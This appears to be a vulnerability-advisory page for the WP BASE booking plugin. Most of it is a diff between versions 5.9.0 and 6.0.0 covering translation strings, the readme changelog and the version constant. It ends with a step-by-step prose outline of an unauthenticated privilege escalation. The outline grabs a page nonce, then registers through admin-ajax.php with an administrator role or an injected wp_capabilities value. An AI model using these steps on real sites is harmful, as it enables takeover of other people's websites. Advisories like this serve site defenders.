 
-#: includes/schedules.php:785
+#: includes/schedules.php:810
 msgid "New appointment successfully saved. Closing shortly..."
 msgstr ""
 
-#: includes/schedules.php:787
-msgid "Changes saved. Closing shortly..."
-msgstr ""
-
-#: includes/schedules.php:1011
-msgid "Dock to left"
-msgstr ""
-
-#: includes/schedules.php:1012
-msgid "Dock to right"
-msgstr ""
-
-#: includes/schedules.php:1036
+#: includes/schedules.php:1248
 msgid "All Statuses"
 msgstr ""
 
-#: includes/schedules.php:1054
+#: includes/schedules.php:1266
 msgid "All Stores"
 msgstr ""
 
-#: includes/schedules.php:1054
+#: includes/schedules.php:1266
 msgid "All Locations"
 msgstr ""
 
-#: includes/schedules.php:1069
+#: includes/schedules.php:1281
 msgid "All Services"
 msgstr ""
 
-#: includes/schedules.php:1085
+#: includes/schedules.php:1297
 msgid "All Providers"
 msgstr ""
 
-#: includes/schedules.php:1116
+#: includes/schedules.php:1328
 msgid "All Days"
 msgstr ""
 
@@ -24154,33 +25069,33 @@
 "continue to checkout or purchase the booking."
 msgstr ""
 
-#: includes/user.php:695
+#: includes/user.php:703
 #, php-format
 msgid ""
 "Spam attack from IP %1$s has been avoided. User Agent: %2$s. User ID: %3$s. "
 "Submitted data: %4$s"
 msgstr ""
 
-#: includes/user.php:1199
+#: includes/user.php:1201
 #, php-format
 msgid "Provider %1$s cancelled booking with ID: %2$s"
 msgstr ""
 
-#: includes/user.php:1202
+#: includes/user.php:1204
 #, php-format
 msgid "Client %1$s cancelled booking with ID: %2$s"
 msgstr ""
 
-#: includes/user.php:1230
+#: includes/user.php:1232
 #, php-format
 msgid "Service Provider %1$s manually confirmed appointment with ID: %2$s"
 msgstr ""
 
-#: includes/user.php:1237
+#: includes/user.php:1239
 msgid "Selected appointment has been confirmed"
 msgstr ""
 
-#: includes/user.php:1285
+#: includes/user.php:1287
 #, php-format
 msgid "%s Bookings & Settings"
 msgstr ""
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/readme.txt /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/readme.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/readme.txt	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/readme.txt	2026-03-10 03:42:22.000000000 +0000
@@ -1,10 +1,10 @@
 === WP BASE Booking of Appointments, Services and Events ===

 Contributors: PuckRobin

-Tags: appointment booking, service booking, booking calendar, multi vendor, buddypress

+Tags: appointment booking, service booking, booking calendar, multi vendor, buddyboss

 Requires at least: 4.4.0

-Tested up to: 6.9

-Stable tag: 5.9.0

-Requires PHP: 5.5.0

+Tested up to: 7.0

+Stable tag: 6.0.0

+Requires PHP: 7.0.0

 License: GPLv2 or later

 License URI: https://www.gnu.org/licenses/gpl-2.0.html

 

@@ -147,7 +147,6 @@
 * [Easy Digital Downloads Integration](https://wp-base.com/downloads/easy-digital-downloads-integration/): WP BASE services can be sold as digital products (downloads) of EDD alone, with other services or with other downloads.

 * [Export & Import](https://wp-base.com/downloads/export-import/): Allows export and import of WP BASE settings and database tables to/from another site/subsite. Includes import option from [Appointments by WPMU DEV](https://github.com/wpmudev/appointments).

 * [Extended Service Features & Categories Addon](https://wp-base.com/downloads/extended-service-features-categories/) allows several website settings to be applied per service. It also adds category support to services.

-* [Front End Edit](https://wp-base.com/downloads/front-end-edit/): Allows client edit their bookings, reschedule appointments, modify user fields on the front end. Admins or any user with selected capability, e.g. editors, can also edit others' bookings using the same interface.

 * [Front End Booking Management](https://wp-base.com/downloads/front-end-booking-management/): Allows admin or any user with selected capability add and edit all bookings and submitted user fields on the front end.

 * [Limited Availability](https://wp-base.com/downloads/limited-availability/): Availability of each service can be easily set on a full calendar making them suitable for event or Airbnb type rental bookings.

 * [Manual Payments](https://wp-base.com/downloads/manual-payments/): Allows adding and editing records for offline (bank transfer, cheque, cash) payments.

@@ -156,7 +155,7 @@
 * [Test Bookings](https://wp-base.com/knowledge-base/test-bookings/): Given number of partly or fully random test bookings can be created for test purposes.

 

 = Premium Addons =

-* [BuddyPress](https://wp-base.com/downloads/buddypress/): Adds settings, list of bookings and calendars on BuddyPress front end user pages.

+* [BuddyPress](https://wp-base.com/downloads/buddypress/): Adds settings, list of bookings and calendars on BuddyPress/BuddyBoss front end user pages. Integrates with notifications and groups.

 * [Coupons](https://wp-base.com/downloads/coupons/): Applies discount over total payable amount upon submission of coupon code. Start and end dates, maximum usage, applicable services and/or providers can be selected.

 * [Custom Pricing](https://wp-base.com/downloads/custom-variable-pricing/): Payment and down payment amounts can be formulated depending on any variable, for example to apply special price for happy hours

 * [Digital Wallet](https://wp-base.com/downloads/credits/): Adds a deposit system to your website that allows your clients to purchase credit points or service packages and then redeem it at a later point for your services.

@@ -202,6 +201,21 @@
 With unlimited services, unrestricted bookings, email sending feature, WP BASE Core is a fully functional booking system which is sufficient for most of *individual* booking needs. However, if your business requires more, we do have Premium [addons](https://wp-base.com/addons/). WP BASE Core which you can download from wordpress.org, will always stay free.

 

 == Changelog ==

+= V6.0.0 March 10, 2026 =

+- New: Clients can view their bookings in Schedules and use it to edit their bookings

+- Tweak: Better caching for Schedules

+- Tweak: Datatables assets separated, reducing file size loaded on booking pages

+- Change: Front End Edit addon has been retired and its functions integrated into the core

+- Dev: Compatibility with WordPress 7.0

+- Dev: moment.js will now be used from WP library

+- Fix: Date/time columns of List of Bookings, Credit History and Vendor Commissions tables are not sorted correctly

+- Changes and fixes related to premium addons:

+- New: Commissions can be paid with Stripe Connect

+- Tweak: In Online Meetings, Agora video interface is renewed and SDK updated

+- Tweak: Grid element support for [app_vendor_services] shortcode

+- Change: In Google Calendar, when service providers use their calendar, and Google Meet is activated, website account no more records Meet and sends invitation (otherwise there will be two invitations)

+- Fix: In Recurring Appointments, when a booking is created on admin side, UDF values of parent are not copied to children

+

 = V5.9.0 January 5, 2026 =

 - New: Additional log file for API messages and setting changes. Log display can be reversed

 - Changes and fixes related to premium addons:

@@ -336,162 +350,6 @@
 - Change: Social Login of Advanced Features has been rewritten. wordpress.com support added, Twitter support removed

 - Fix: Better Messages button does not show in BP list of bookings

 

-= V4.9.2 December 14, 2024 =

-- Fix: Get More link has wrong styling

-- Fix: Code strengthening

-

-= V4.9.1 October 27, 2024 =

-- Tweak: Improvements in Setup Wizard

-- Tweak: Better support for themes having pages with narrow container width

-- Fix: PHP warning in front.ajax when updating calendars

-

-= V4.9.0 October 23, 2024 =

-- New: Setup Wizard

-- New: Calendar Time Slot Display setting allows time slot display selection globally. Default display mode is "with_break" now

-- New: "Default" time slot color set

-- Tweak: Working Hour setting UI improvements

-- Tweak: Now more than one service can point the same CPT as description page

-- Change: When there are multiple calendars on the same page, only one of the forms is displayed now

-- Fix: In PHP8.3, warning message in admin dashboard when there are no providers

-- Changes and fixes related to premium addons:

-- Tweak: Geodirectory listing price and vendor price sync'ed

-- Change: When UDF values are changed on admin bookings, Google Calendar Event is also updated

-- Fix: Seasonal Working Hours schedule is not applied for the last week of the year

-

-= V4.8.0 September 26, 2024 =

-- New: Services fee per hour, day, week, month, booking

-- Tweak: Flexslider is not refreshed at first load, thus preventing flickering of images

-- Fix: When service duration is 1 day and Selectable Durations not configured, JavaScript error prevents opening of the checkout form

-- Fix: Single Click Booking summary info shows updated service instead of service of the selected slot after calendar updated

-- Fix: Contrary to the description, Limited Availability requires service working hours to be set

-- Dev: Refactoring of front.php

-- Changes and fixes related to premium addons:

-- Change: Even when Credits is the only active payment method, Payment Method box at checkout is displayed to be able to show credit balance of the customer

-- Tweak: When recurring bookings are created on admin side, client and UDF info are also copied from parent to children

-- Tweak: Admin emails are slighly different for pending and confirmed bookings

-- Fix: Uploaded video may not be displayed in Multi Vendor Marketplace Geodirectory integration

-- Fix: Extras addon is pulling the wrong description or not pulling at all at checkout

-- Fix: WooCommerce does not respect minimum and maximum time slot settings

-- Fix: Event attendees print does not function correctly

-- Fix: User fields in Account Settings tab are repeated

-- Fix: If post content is not empty and [app_book] is on a template or Geodir tab, calendar is not updated on the first load

-- Fix: If service is zero priced, Extra selection with price does not open payment method selection at checkout

-- Fix: Recurring Appointments checks far further dates and may not allow booking at checkout

-- Fix: If some items of a recurring appointment package is removed at checkout, booking is not allowed with too less error

-- Fix: Participant fields in Front End Edit dialog are misaligned

-- Fix: Editing booking record with Front End Edit gives PHP error if PDF addon is active

-- Fix: Changes in Front End Edit for UDF fields are not saved

-

-= V4.7.0 August 23, 2024 =

-- Fix: Limited availability dates do not always work for services with duration 2+ days

-- Fix: At account page, calendars are updated at first load

-- Changes and fixes related to premium addons:

-- New: 1 month to 12 months booking duration can be selected in Selectable Durations

-- Tweak/Fix: Old confirmation form is not working for Event Bookings. Replaced with the new Checkout form

-- Fix: When editing an admin booking record, checking/unchecking send email check box affects other UDF check boxes

-- Fix: PHP8 error when a non logged in user makes a booking and UDF addon enabled

-- Fix: Event Bookings selected guest number drops down to 1 when payment method selected

-

-= V4.6.0 August 04, 2024 =

-- New: Confirmation Form now uses the same markup and styling of Flex Steps Checkout

-- Change: Remember Me field retired

-- Change: Several settings about confirmation form layout and css retired

-- Change: Theme Builder Compatibility setting retired. Now compatibility is always on

-- Change: Lazy Load, Use Cache settings retired

-- Fix: When service duration is exactly 7 days, service availabilities are incorrect

-- Fix: Deprecated messages in PHP8.3.9

-- Changes and fixes related to premium addons:

-- Fix: Wrong escaping of paginate links in Coupons, Custom Pricing, Extras, Locations, Seasonal Working Hours, UDF

-

-= V4.5.0 June 29, 2024 =

-- New: Booking lasting longer than 24 hours are displayed on a monthly calendar on admin schedules and provider/owner account

-- Tweak: WordPress V6.6 tested for compatibility

-- Tweak: Flex Steps now support Shopping Cart

-- Fix: Permanently Delete Selected Records button is not working

-- Changes and fixes related to premium addons:

-- Fix: Provider Free bookings should show in service owner's account under manage bookings and should be counted in the dashboard

-- Fix: PM button should show for Provider Free bookings

-- Fix: WooCommerce Order ID is not displayed in admin bookings in HPOS if compatibility mode deactivated

-

-= V4.4.0 June 04, 2024 =

-- New: "Flex Steps" booking process

-- Changes and fixes related to premium addons:

-- Tweak: Admin can upload provider and vendor avatar

-- Tweak: Admin can enter description for provider

-- Fix: Only one of Location, Service or Worker (top prior one) is allowed to use slider

-- Fix: Provider display name cannot be changed on admin Providers page

-- Fix: When Multi Language is activated, after payment with Credits client is redirected to a non-existing page

-- Fix: When Recurring Appointments + Selectable Durations are used at the same time, booking end times are not correct

-- Fix: Editing Recurring Appointments children gives unexpected results

-

-= V4.3.0 April 10, 2024 =

-- Tweak: When a non logged in user enters email of an existing member during checkout, now login is handled better

-- Fix: When slide count is entered as zero, slide should have fixed width

-- Fix: If service image file is deleted, it is not possible to replace image with another one on Services page

-- Changes and fixes related to premium addons:

-- New: Integration with Better Messages: Now vendors and clients can write each other at meeting and waiting room pages. Users can send message to vendor at their bio pages

-- New: Each service can be selected to have Online Meeting or not

-- New: New shortcode [app_vendor_meta] which prints vendor info on bio page

-- New: Trial services can be set to be free of charge

-- New: UsersWP forms or lightboxes can be used as login and register methods

-- Tweak: Clearer hints for adding a slot to waiting list

-- Change: When Multi Vendor addon is active and there are vendors defined, [app_book] is regarded as [app_book worker=auto]

-- Fix: When Zoom API token is expired, it may not be possible to regenerate it

-- Fix: Services in vendor pages does not obey default sort order

-

-= V4.2.0 February 26, 2024 =

-- New: List of Bookings can be printed

-- Tweak: WP6.5 compatibility

-- Fix: Flexslider conflicts with WooCommerce default theme Storefront

-- Fix: When slider is active, category opt_group should not be on

-- Changes and fixes related to premium addons:

-- New: Credit history and Commissions list can be printed

-

-= V4.1.0 February 6, 2024 =

-- Change: On user profile settings, only vendors can set WP fields (name, email, first name, last name ), for the rest users these fields are readonly

-- Tweak: Better sync with WP fields in Vendors, Clients and user profile

-- Fix: Flexslider height can be excessive if slider image aspect ratio > 1

-- Fix: Flexslider does not load correctly in Astra theme

-- Changes and fixes related to premium addons:

-- New: "Provider Free" services in Multi Vendor

-- Tweak: Service lock: When vendor/provider is editing a service, record is locked and admin can know who is editing. He can then take over

-- Fix: BuddyPress group "Book Us" page always chooses services for Group 1

-- Fix: Not possible to use Jitsi and Agora at the same website

-- Fix: After vendors edit a service, they lose ownership

-- Fix: Preferred Language selection at profile is not reflected to displayed language

-- Fix: Services owned, but not provided by vendor cannot be displayed at the front end

-- Fix: When BuddyPress Groups/Locations connected, locations aren't supposed to be selected by menu

-- Fix: Registration form cannot be submitted

-- Fix: Previously declined or suspended vendors should not apply to be vendor again

-

-= V4.0.1 January 12, 2024 =

-- Change: For daily services, if Limited Availability is enabled service working hours are no more needed

-- Fix: If a price is not entered as download price previously, EDD bookings become free downloads

-- Changes and fixes related to premium addons:

-- Tweak: Credit records can be individually deleted

-- Tweak: Note can be written when adding a credit record

-- Tweak: PERSON_TYPES placeholder can be used in email templates

-- Tweak: Multi Language support for person type labels and template

-- Change: For daily services, if Limited Availability is enabled service working hours are no more needed

-- Fix: When Group Bookings is used for a Package service, person types are not displayed on the front end

-

-= V4.0.0 December 23, 2023 =

-- New: Free addons are now delivered with WP BASE Core

-- New: "Limited Availability" addon

-- New: New setting "Show End Date Based on Venue Bookings" at Display Settings

-- Change: Front End Edit and Front End Booking Management are now free addons

-- Change: Sidebar widgets are no more loaded by default

-- Changes and fixes related to addons:

-- New: Person Types in Group Bookings

-- New: Ultimate Member and UsersWP support in Multi Vendor

-- New: "Flexible Price" feature for services in Multi Vendor Marketplace

-- New: Support for WooCommerce checkout page that is created with WooCommerce Blocks

-- Tweak: JWT settings in Online Meetings - Zoom have been completely removed

-- Fix: PHP8.1+ error at time slot selection from Multi Vendor Marketplace when "Vendor can Set Own Price" is set as fixed, and min/max prices are set as zero and vendor did not enter any price yet

-- Fix: In WP BASE DEV, repeated "FeaturesUtil::declare_compatibility … is not a known WordPress plugin" WooCommerce log messages

-- Fix: PHP error in BuddyPress when Group component is deactivated and WooCommerce cart is selected as payment method

-- Fix: Vendors cannot make booking in BuddyPress + WooCommerce configuration due to change in V3.9.7.2

-

 = For older logs see changelog.txt file in plugin folder =

 

 == Screenshots ==

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/wp-base.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/wp-base.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/wp-base.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/wp-base.php	2026-03-10 03:42:22.000000000 +0000
@@ -3,7 +3,7 @@
  * Plugin Name: WP BASE Booking of Appointments, Services and Events
  * Description: A complete e-commerce solution for appointment, service and event bookings.
  * Plugin URI: https://wp-base.com
- * Version: 5.9.0
+ * Version: 6.0.0
  * Author: Hakan Ozevin <hakan@wp-base.com>
  * Author URI: https://wp-base.com
  * Text Domain: wp-base
@@ -42,7 +42,7 @@
 } else if ( version_compare( PHP_VERSION, '7.0.0' ) < 0 ) {
 	add_action( 'admin_notices', '_wpb_plugin_php_version' );
 } else {
-	define( 'WPB_VERSION', '5.9.0' );
+	define( 'WPB_VERSION', '6.0.0' );
 	define( 'WPB_LATEST_DB_VERSION', '3060' );
 	define( 'WPBASE_URL', 'https://wp-base.com/' );
 	define( 'WPB_PLUGIN_URL', untrailingslashit( plugin_dir_url( __FILE__ ) ) );

Exploit Outline

1. Navigate to a page where the plugin's booking or registration shortcode (like [app_book]) is active to extract a security nonce from the localized 'app_data.nonce' JavaScript variable. 2. Send an unauthenticated POST request to /wp-admin/admin-ajax.php using the action 'app_registration'. 3. In the POST body, provide required user data (user_login, user_email, user_pass) and explicitly include the 'role' parameter set to 'administrator'. 4. Alternatively, if the 'role' parameter is filtered, attempt to inject the 'meta[wp_capabilities][administrator]' parameter with a value of 1. 5. Upon successful response, use the new credentials to log in to the WordPress dashboard with full administrative access.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.